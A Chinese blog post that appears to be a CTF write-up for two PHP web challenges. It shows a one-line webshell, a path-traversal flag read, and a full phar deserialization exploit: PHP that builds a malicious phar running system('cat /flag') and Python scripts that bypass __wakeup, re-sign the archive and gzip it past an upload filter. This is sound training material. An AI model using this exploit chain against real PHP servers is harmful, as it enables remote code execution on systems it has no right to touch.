https://www.ctfer.vip/problem/1421 https://www.ctfer.vip/problem/2484
今天凌晨睡觉的时候本来准备打今天的西湖论剑,吸踢欸夫中比较重要的赛事,但是但是,我发现我没收到短信,回想起来输错电话号码的概率比较小,多半是报名的时候出了什么问题,唉,借了别人的号可是看到都在开靶机,冲线下的队还是不去打扰人家了,那就做做题咯。
言归正传:
[羊城杯 2020]easycon
hint:web php
首先是英语课堂了解一下题目意思con:

打开是乌班图报错界面,f12也没啥信息,这里要么扫一下,要么去尝试访问一下php

直接flag.php也么得东西,打开index.php图片加载半天我还以为有什么其他内容,这里很明显是一句话木马连接蚁剑。

这里记得加上index.php哦,你直接链接是访问不了的,然后是老生常谈的问题,如果你是直接编辑数据像我一样懒的人呢,访问进去记得在根目录刷新一下,才显示的这个题的文件结构。看到index.php只是一个一句话木马:

离谱,我找半天flag没找到,最后重新访问了一下html文件夹刷新一下就弹出来txt文件了:

那下载看一下:

看着像misc了怎么,丢010发现没啥东西,那按照misc的做法,试一下base系列的解法,解码没东西,转图片转到了flag:
丢一个网站:https://onlineimagetools.com/

选convert base64 to image然后丢代码:

改一下前缀交了就行了。注意这里是kn0w,不是Ow,识字容易识别错。
[NSSRound#4 SWPU]1zweb
hint:WEB 文件上传 反序列化 PHP伪协议
为什么文件上传还能加反序列化还能加php伪协议啊,看着这题的评分,我有不详的预感,md进来查询文件直接/flag出了flag你敢信,估计是非预期,但是这个非预期你直接交了没什么意义,顺带一提在看完其他人的wp后发现:../../../../../flag也能直接查询到

算辣,我们看看还有什么手法做这道题吧:
首先查询功能肯定是给你看源码的,这里看一下index.php和upload.php:

这里index.php源码得把f12里面的加上才是全的,虽然没加可能也看得懂:
?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this-ljt="ljt"; $this->dky="dky"; phpinfo(); } public function __destruct(){ if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd); } public function __wakeup(){ $this->ljt="Re"; $this->dky="Misc"; } } $file=$_POST['file']; if(isset($_POST['file'])){ echo file_get_contents($file); }
反序列化就在这里,一个很明显的命令执行漏洞,绕过wakeup的方法很简单,让序列化开头O那里的显示成员数改的大于实际成员数就行了,好像这么说不怎么准确,但是学过反序列化的应该能懂啥意思吧。
然后看看上传的源码upload.php:
一样的情况,得加上f12里的一部分,这里学了一手整理代码Shift+Alt+F直接格式化:
<?php if ($_FILES["file"]["error"] > 0){ echo "上传异常"; } else{ $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){ $content=file_get_contents($_FILES["file"]["tmp_name"]); $pos = strpos($content, "__HALT_COMPILER();"); if(gettype($pos)==="integer"){ echo "ltj一眼就发现了phar"; }else{ if (file_exists("./upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " 文件已经存在"; }else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($myfile, $content); fclose($myfile); echo "上传成功 ./upload/".$_FILES["file"]["name"]; } } }else{ echo "dky不喜欢这个文件 .".$extension; } } ?>
其他的都看得懂或者猜得到意思,重点是这两句:
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer")
根据提示,这个跟phar有关,搜索得到:PHP通过__HALT_COMPILER来识别Phar文件
那这里明显是一个判断,strpos首先判断链接类型是否存在__HALT_COMPILER,如果是返回整数不是返回flase,然后下面gettype判断pos类型,是整数就强等于然后失败,不是就绕过了。
那这方面我就不会了,但是我们把会做的做了,其他的学就行了。我会什么呢,会一点构造phar,就别管对不对,先构造:
https://blog.csdn.net/qq_62046696/article/details/127195593 https://blog.csdn.net/m0_64815693/article/details/127749358
<?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="Misc"; $this->dky="Re"; $this->cmd="system('cat /flag');"; } } $a = new LoveNss(); $phar = new Phar('wl.phar'); $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($a); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); ?>
前半截和php反序列差不多,后面是有固定格式,然后我学别人加了给GIF头,其实这里到不用加上去。
然后是利用,这里之前遇到过phar用zip上传的知识,结果自己忘了,还是比较惭愧的,原理是上传时候zip会绕过phar检测,但是phar伪协议会解压zip,在解压时候在file_get_contents()处我们的phar伪协议会触发反序列化,并且进行eval()的命令执行。
但是这里有一个问题,我们在记事本或者010处虽然可以修改phar文件绕过wake_up,但是这里存在签名认证,我们得修复签名,默认是shar-1算法,那这里就放上大佬脚本:
1111.在压缩的时候修改并修复签名:
https://blog.csdn.net/qq_62046696/article/details/127195593
import gzip from hashlib import sha1 with open('D:\\wl.phar', 'rb') as file: f = file.read() s = f[:-28] # 获取要签名的数据 s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup h = f[-8:] # 获取签名类型以及GBMB标识 newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB) #print(newf) newf = gzip.compress(newf) #对Phar文件进行gzip压缩 with open('D:\\wl.png', 'wb') as file:#更改文件后缀 file.write(newf)
2222.在010或者winhex这些软件修改后修复签名:
https://blog.csdn.net/m0_64815693/article/details/127749358
from hashlib import sha1 # import gzip file = open(r'C:\Users\CyberSec\Desktop\aa.phar', 'rb').read() data = file[:-28] # 获取需要签名的数据 # data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup final = file[-8:] # 获取最后8位GBMB标识和签名类型 newfile = data + sha1(data).digest() + final # 数据 + 签名 + 类型 + GBMB open(r'C:\Users\CyberSec\Desktop\new.phar', 'wb').write(newfile) # 写入到新的phar文件 # newf = gzip.compress(newfile) # with open(r'C:\Users\CyberSec\Desktop\new1.png', 'wb') as file: #更改文件后缀 # file.write(newf)
当然这里也存在师傅zip+sha1失败,后来改成gzip+sha256才成功,具体原因我也不是很清楚,这里的脚本一个是gzip+sha1,一个是zip+sha1,列出来以便大家参考。
生成了phar文件:

010打开修改:

然后构造不出文件的话去看一看对应php版本的php.ini是否把phar.readonly改为0或者off,这里记得把前面的分号删掉,不然你改啥都没用。重启后再次尝试,别问我为什么知道,说多了都是泪,第二个问题是py脚本报错:

检查with open(r'C:\Users\ 这一句前面有没有r,第一个脚本没r所以报错,加上就可以生成文件了:

如果都顺利的话我们就到了最后一步:
上传文件然后进行phar伪协议:phar://./upload/WL.png

呼,那么期待我们下一题再见啦!